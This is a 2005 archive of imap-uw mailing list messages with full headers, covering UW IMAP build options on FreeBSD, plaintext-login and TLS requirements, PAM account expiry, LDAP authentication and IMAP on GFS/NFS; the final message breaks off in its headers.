appreciate your suggestions On Thu, 1 Dec 2005 17:59:49 -0800 (PST) Mark Crispin wrote: > Hello - >=20 > It seems that you have a modified copy of the UW imap toolkit. The=20 > command > make -DWITH_SSH_AND_PLAINTEXT PASSWDTYPE=3Dstd IP=3D6 > is not used with the unmodified UW distribution. >=20 > In particular, I do not know what -DWITH_SSH_AND_PLAINTEXT does, since=20 > that is not a configuration parameter in the version that I wrote. >=20 > You can obtain an unmodified copy of UW IMAP from: > ftp://ftp.cac.washington.edu/mail/imap.tar.Z >=20 > The correct build for FreeBSD in unmodified UW IMAP is: > make bsf >=20 > You reported that you are getting a "Login disabled" syslog. >=20 > "Login disabled" means that an attempt was made to use a plaintext=20 > authentication mechanism (LOGIN, AUTHENTICATE PLAIN, AUTHENTICATE LOGIN)= =20 > in a session that is not protected by SSL or TLS encryption. This is in= =20 > compliance with RFC 3501 sections 6.1.1, 6.2.3, 7.2.1, and 11.2. >=20 > To avoid this, you must install SSL/TLS certificates (as described in the= =20 > imap-2004g/docs/SSLBUILD file) and use a client capable of SSL or TLS.=20 > Alternatively, you must disable unsecured plaintext prohibition with=20 > SSLTYPE=3Dnone or SSLTYPE=3Dunix (but note that doing so exposes password= s to=20 > being stolen by hackers). >=20 > -- Mark -- >=20 > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 05:28:11 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 05:28:11 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DSBcS020593 for ; Fri, 2 Dec 2005 05:28:11 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DSAap003852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 05:28:10 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DS6OT023117 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 05:28:07 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DS6uI011723; Fri, 2 Dec 2005 05:28:06 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DS6Ie011715 for ; Fri, 2 Dec 2005 05:28:06 -0800 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DS5h3027833 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 2 Dec 2005 05:28:05 -0800 Received: from [192.168.1.2] (c-24-34-205-122.hsd1.ma.comcast.net [24.34.205.122]) (authenticated bits=0) by rs15.luxsci.com (8.13.5/8.13.5) with ESMTP id jB2DS2kY005135 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Fri, 2 Dec 2005 07:28:02 -0600 Message-ID: <43904BE3.8040503@luxsci.com> Date: Fri, 02 Dec 2005 08:28:03 -0500 From: Erik Kangas User-Agent: Mozilla Thunderbird 1.0.5 (Windows/20050711) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: GFS Anybody? Was: [Imap-uw] imap and NFS References: <1133243111.47.1039973322@it.usyd.edu.au> <1133496900.18.646314850@it.usyd.edu.au> In-Reply-To: <1133496900.18.646314850@it.usyd.edu.au> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello? As a next step to the discussion of UW Imap on NFS, has anyone played with UW IMAP on GFS (RedHat Global File System - http://www.redhat.com/en_us/USA/home/solutions/gfs/) in an environment where multiple IMAP machines are sharing the files. >From what I have read, GFS should take care of all the locking and synchronization across a large number of attached machines without any problem. Specifically, the file system appears and behaves like a local file system. However, GFS is relatively new and not specifically supported by most SAN vendors. If anyone has any experience setting up a SAN with GFS with load balanced UW IMAP servers using a folder format that depends on the NFS-averse file system operations (i.e. mbx) please let us all know what you have seen. Thank you, -Erik Kangas http://LuxSci.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 05:40:40 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 05:40:40 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2Dee2H021131 for ; Fri, 2 Dec 2005 05:40:40 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2Dedg0004466 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 05:40:39 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DeZg8023779 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 05:40:35 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DeZN1012448; Fri, 2 Dec 2005 05:40:35 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DeYAd012440 for ; Fri, 2 Dec 2005 05:40:34 -0800 Received: from prime.gushi.org (prime.gushi.org [72.9.101.130]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2DeVBJ013660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 2 Dec 2005 05:40:32 -0800 Received: from prime.gushi.org (danm@localhost.gushi.org [127.0.0.1]) by prime.gushi.org (8.13.5/8.13.5) with ESMTP id jB2Dme7Y033338 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 08:48:40 -0500 (EST) Received: (from danm@localhost) by prime.gushi.org (8.13.5/8.13.5/Submit) id jB2DmeIs033337; Fri, 2 Dec 2005 08:48:40 -0500 (EST) Date: Fri, 2 Dec 2005 08:48:40 -0500 (EST) From: "Dan Mahoney, System Admin" To: Derlis =?ISO-8859-1?Q?Z=E1rate?= Subject: Re: [Imap-uw] Troubles with imap-uw-2004,g In-Reply-To: <20051202102430.2d1477ae@fsbkpc.cnc.una.py> Message-ID: <20051202084158.A58889@prime.gushi.org> References: <20051201122543.696e43f1@fsbkpc.cnc.una.py> <20051202102430.2d1477ae@fsbkpc.cnc.una.py> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-957549756-1133531320=:58889" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: "imap-uw@u.washington.edu" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --0-957549756-1133531320=:58889 Content-Type: TEXT/PLAIN; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: QUOTED-PRINTABLE On Fri, 2 Dec 2005, Derlis [ISO-8859-1] Z=E1rate wrote: > Hi, > > I download imap.tar.Z and then I execute: > > make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dstd IP=3D6 > > Now, I can do login but not yet it verifies the expiration of users (list= ed in /etc/master.passwd) > > A user with the expired account, can do login and read his messages. > > I want to avoid this. =BFIt is necessary that it modifies the source code= ? Apparently, from a quick google, if you're using PAM, the pam_unix account= =20 component checks this. Whether or not imapd requires the "account"=20 component or merely the "auth" one, I'm not sure. Whether BSD supports=20 this (the search I found was relevant to linux, but since we got our PAM=20 support largely from there I don't see why not) is another question. > Other question: > After make with the options mentioned above I try to install the programs= executing the comand > # make install > > But appears this message: > "make: don't know how to make install. Stop" the makefile does not include an install target. Read the docs. The=20 "install" is copying of a single file to a location relevant for your=20 system -- under freebsd maybe /usr/local/libexec or something? And then=20 adding it to inetd.conf. -Dan > > I will appreciate your suggestions > > On Thu, 1 Dec 2005 17:59:49 -0800 (PST) > Mark Crispin wrote: > >> Hello - >> >> It seems that you have a modified copy of the UW imap toolkit. The >> command >> =09make -DWITH_SSH_AND_PLAINTEXT PASSWDTYPE=3Dstd IP=3D6 >> is not used with the unmodified UW distribution. >> >> In particular, I do not know what -DWITH_SSH_AND_PLAINTEXT does, since >> that is not a configuration parameter in the version that I wrote. >> >> You can obtain an unmodified copy of UW IMAP from: >> =09ftp://ftp.cac.washington.edu/mail/imap.tar.Z >> >> The correct build for FreeBSD in unmodified UW IMAP is: >> =09make bsf >> >> You reported that you are getting a "Login disabled" syslog. >> >> "Login disabled" means that an attempt was made to use a plaintext >> authentication mechanism (LOGIN, AUTHENTICATE PLAIN, AUTHENTICATE LOGIN) >> in a session that is not protected by SSL or TLS encryption. This is in >> compliance with RFC 3501 sections 6.1.1, 6.2.3, 7.2.1, and 11.2. >> >> To avoid this, you must install SSL/TLS certificates (as described in th= e >> imap-2004g/docs/SSLBUILD file) and use a client capable of SSL or TLS. >> Alternatively, you must disable unsecured plaintext prohibition with >> SSLTYPE=3Dnone or SSLTYPE=3Dunix (but note that doing so exposes passwor= ds to >> being stolen by hackers). >> >> -- Mark -- >> >> http://panda.com/mrc >> Democracy is two wolves and a sheep deciding what to eat for lunch. >> Liberty is a well-armed sheep contesting the vote. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > -- "Don't try to out-wierd me. I get stranger things than you free with my breakfast cereal." -Button seen at I-CON XVII (and subsequently purchased) --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- --0-957549756-1133531320=:58889 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --0-957549756-1133531320=:58889-- From pinedev@shivax2.cac.washington.edu Fri Dec 2 07:33:09 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 07:33:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FX9Rb025391 for ; Fri, 2 Dec 2005 07:33:09 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FX8nm010709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 07:33:08 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FX4sV031845 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 07:33:04 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FX4WL013253; Fri, 2 Dec 2005 07:33:04 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FX3Pb013245 for ; Fri, 2 Dec 2005 07:33:03 -0800 Received: from sce.cnc.una.py (sce.cnc.una.py [200.10.228.133]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2FWVwE026216 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 2 Dec 2005 07:32:41 -0800 Received: from alpha.cnc.una.py (alpha.cnc.una.py [200.10.228.103]) by sce.cnc.una.py (8.12.9/8.11.4) with ESMTP id jB2FVnHx092449; Fri, 2 Dec 2005 12:31:49 -0300 (PYST) Received: from fsbkpc.cnc.una.py (fsbkpc.cnc.una.py [200.10.228.102]) by alpha.cnc.una.py (8.12.8/8.12.8) with SMTP id jB2FVj7Z001082; Fri, 2 Dec 2005 12:31:46 -0300 Date: Fri, 2 Dec 2005 12:31:45 -0300 From: Derlis =?ISO-8859-1?Q?Z=E1rate?= To: "Dan Mahoney, System Admin" Subject: Re: [Imap-uw] Troubles with imap-uw-2004,g Message-Id: <20051202123145.69b2ddcc@fsbkpc.cnc.una.py> In-Reply-To: <20051202084158.A58889@prime.gushi.org> References: <20051201122543.696e43f1@fsbkpc.cnc.una.py> <20051202102430.2d1477ae@fsbkpc.cnc.una.py> <20051202084158.A58889@prime.gushi.org> Organization: Centro Nacional de =?ISO-8859-1?Q?Computaci=F3n?= X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-unknown-freebsd5.1) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: "imap-uw@u.washington.edu" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Dan,=20 Thank you very much for your help.=20 I check your suggestions and it works. When I make the program I use this options: make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam IP=3D6 In FreeBSD, the cclient and imap-uw ports has the install target, but the w= ay to establish the options differs from the imap-uw documentation. To do "make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dpam IP=3D6" in the ports I exec= ute this commands 1) cclient: # cd /usr/ports/mail/cclient # vi Makefile Add: MAKE_ARGS+=3D PASSWDTYPE=3Dpam # make WITH_SSL_AND_PLAINTEXT=3Dyes WITHOUT_IPv6=3Dno install clean 2) imap-uw: # cd /usr/ports/mail/imap-uw # vi Makefile Add: MAKE_ARGS+=3D PASSWDTYPE=3Dpam Add: MAKE_ARGS+=3D IP=3D6 # make WITH_SSL_AND_PLAINTEXT=3Dyes install clean Regards, Derlis Z=E1rate On Fri, 2 Dec 2005 08:48:40 -0500 (EST) "Dan Mahoney, System Admin" wrote: > On Fri, 2 Dec 2005, Derlis [ISO-8859-1] Z=E1rate wrote: >=20 > > Hi, > > > > I download imap.tar.Z and then I execute: > > > > make bsf SSLTYPE=3Dunix PASSWDTYPE=3Dstd IP=3D6 > > > > Now, I can do login but not yet it verifies the expiration of users (li= sted in /etc/master.passwd) > > > > A user with the expired account, can do login and read his messages. > > > > I want to avoid this. =BFIt is necessary that it modifies the source co= de? >=20 > Apparently, from a quick google, if you're using PAM, the pam_unix accoun= t=20 > component checks this. Whether or not imapd requires the "account"=20 > component or merely the "auth" one, I'm not sure. Whether BSD supports=20 > this (the search I found was relevant to linux, but since we got our PAM= =20 > support largely from there I don't see why not) is another question. >=20 > > Other question: > > After make with the options mentioned above I try to install the progra= ms executing the comand > > # make install > > > > But appears this message: > > "make: don't know how to make install. Stop" >=20 > the makefile does not include an install target. Read the docs. The=20 > "install" is copying of a single file to a location relevant for your=20 > system -- under freebsd maybe /usr/local/libexec or something? And then= =20 > adding it to inetd.conf. >=20 > -Dan >=20 >=20 >=20 > > > > I will appreciate your suggestions > > > > On Thu, 1 Dec 2005 17:59:49 -0800 (PST) > > Mark Crispin wrote: > > > >> Hello - > >> > >> It seems that you have a modified copy of the UW imap toolkit. The > >> command > >> make -DWITH_SSH_AND_PLAINTEXT PASSWDTYPE=3Dstd IP=3D6 > >> is not used with the unmodified UW distribution. > >> > >> In particular, I do not know what -DWITH_SSH_AND_PLAINTEXT does, since > >> that is not a configuration parameter in the version that I wrote. > >> > >> You can obtain an unmodified copy of UW IMAP from: > >> ftp://ftp.cac.washington.edu/mail/imap.tar.Z > >> > >> The correct build for FreeBSD in unmodified UW IMAP is: > >> make bsf > >> > >> You reported that you are getting a "Login disabled" syslog. > >> > >> "Login disabled" means that an attempt was made to use a plaintext > >> authentication mechanism (LOGIN, AUTHENTICATE PLAIN, AUTHENTICATE LOGI= N) > >> in a session that is not protected by SSL or TLS encryption. This is = in > >> compliance with RFC 3501 sections 6.1.1, 6.2.3, 7.2.1, and 11.2. > >> > >> To avoid this, you must install SSL/TLS certificates (as described in = the > >> imap-2004g/docs/SSLBUILD file) and use a client capable of SSL or TLS. > >> Alternatively, you must disable unsecured plaintext prohibition with > >> SSLTYPE=3Dnone or SSLTYPE=3Dunix (but note that doing so exposes passw= ords to > >> being stolen by hackers). > >> > >> -- Mark -- > >> > >> http://panda.com/mrc > >> Democracy is two wolves and a sheep deciding what to eat for lunch. > >> Liberty is a well-armed sheep contesting the vote. > > _______________________________________________ > > Imap-uw mailing list > > Imap-uw@u.washington.edu > > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > >=20 > -- >=20 > "Don't try to out-wierd me. I get stranger things than you free with my > breakfast cereal." >=20 > -Button seen at I-CON XVII (and subsequently purchased) >=20 > --------Dan Mahoney-------- > Techie, Sysadmin, WebGeek > Gushi on efnet/undernet IRC > ICQ: 13735144 AIM: LarpGM > Site: http://www.gushi.org > --------------------------- >=20 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 08:45:04 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 08:45:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2Gj4pR029370 for ; Fri, 2 Dec 2005 08:45:04 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2Gj3OT015370 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 08:45:03 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2GixB5014289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 08:44:59 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2GixRN028507; Fri, 2 Dec 2005 08:44:59 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2GiwEZ028499 for ; Fri, 2 Dec 2005 08:44:58 -0800 Received: from tango.pop-df.rnp.br (tango.pop-df.rnp.br [200.130.38.84]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2GisFI032166 for ; Fri, 2 Dec 2005 08:44:55 -0800 Received: from tango.pop-df.rnp.br (localhost.pop-df.rnp.br [127.0.0.1]) by tango.pop-df.rnp.br (8.13.2/8.13.2) with ESMTP id jB2GlpxZ025831 for ; Fri, 2 Dec 2005 14:47:51 -0200 (EDT) Received: from localhost (wilson@localhost) by tango.pop-df.rnp.br (8.13.2/8.13.2/Submit) with ESMTP id jB2Glouw025828 for ; Fri, 2 Dec 2005 14:47:50 -0200 (EDT) X-Authentication-Warning: tango.pop-df.rnp.br: wilson owned process doing -bs Date: Fri, 2 Dec 2005 14:47:50 -0200 (EDT) From: "Jose Wilson A. do Nascimento" To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Authentic X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, I am inexperienced in the list, I am with some problems to use imap-uw, I installed in the FreeBSD imap-uw to legalize way imap the user of the database of the LDAP, by means of PAM it. What this happening is the following one, I make login with user registered in of the database in the LDAP imap makes to request for the PAM and the PAM to verify in the base the user, but not legalizes the user. everyone had a similar experience. Wilson _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 10:09:43 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 10:09:43 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9h4r001921 for ; Fri, 2 Dec 2005 10:09:43 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9gEp019664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 10:09:42 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9deG023887 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 10:09:39 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9dEo012222; Fri, 2 Dec 2005 10:09:39 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9cLO012214 for ; Fri, 2 Dec 2005 10:09:38 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9big020899 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 2 Dec 2005 10:09:38 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9bXG025533 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 10:09:37 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2I9Yxu028420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 2 Dec 2005 10:09:36 -0800 Date: Fri, 2 Dec 2005 10:09:34 -0800 (PST) From: Mark Crispin To: Erik Kangas Subject: Re: GFS Anybody? Was: [Imap-uw] imap and NFS In-Reply-To: <43904BE3.8040503@luxsci.com> Message-ID: References: <1133243111.47.1039973322@it.usyd.edu.au> <1133496900.18.646314850@it.usyd.edu.au> <43904BE3.8040503@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 2 Dec 2005, Erik Kangas wrote: > From what I have read, GFS should take care of all the locking and > synchronization across a large number of attached machines without any > problem. Specifically, the file system appears and behaves like a local > file system. However, GFS is relatively new and not specifically > supported by most SAN vendors. I've heard many such claims in the past. They've always been proven false. It often is not easy to prove the claims false either; all too often it appears to be right, and only after user data has been corrupted is it recognized that the claims are false. I also see little or no point to using a network filesystem for IMAP. IMAP, by its nature, is heavily I/O bound. A network filesystem adds more I/O load as well as synchronization problems which do not exist with a direct filesystem. Many people perceive a network filesystem as a means of obtaining reliability. What is missed is that ultimately, there is a single point of failure for the network filesystem: the server for the network filesystem. There is no particular reason to believe that a filesystem server is more reliable than a dedicated IMAP server. Timesharing systems, with an unpredictable mix of applications and users, are intrinsically less reliable; and that's where file servers are useful. IMAP server systems are a different animal. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Dec 2 10:34:12 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Dec 2005 10:34:12 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IYCgX003181 for ; Fri, 2 Dec 2005 10:34:12 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IYBnh021462 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 2 Dec 2005 10:34:11 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IY7Lh031338 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 2 Dec 2005 10:34:08 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jB2IY7YT017004; Fri, 2 Dec 2005 10:34:07 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu 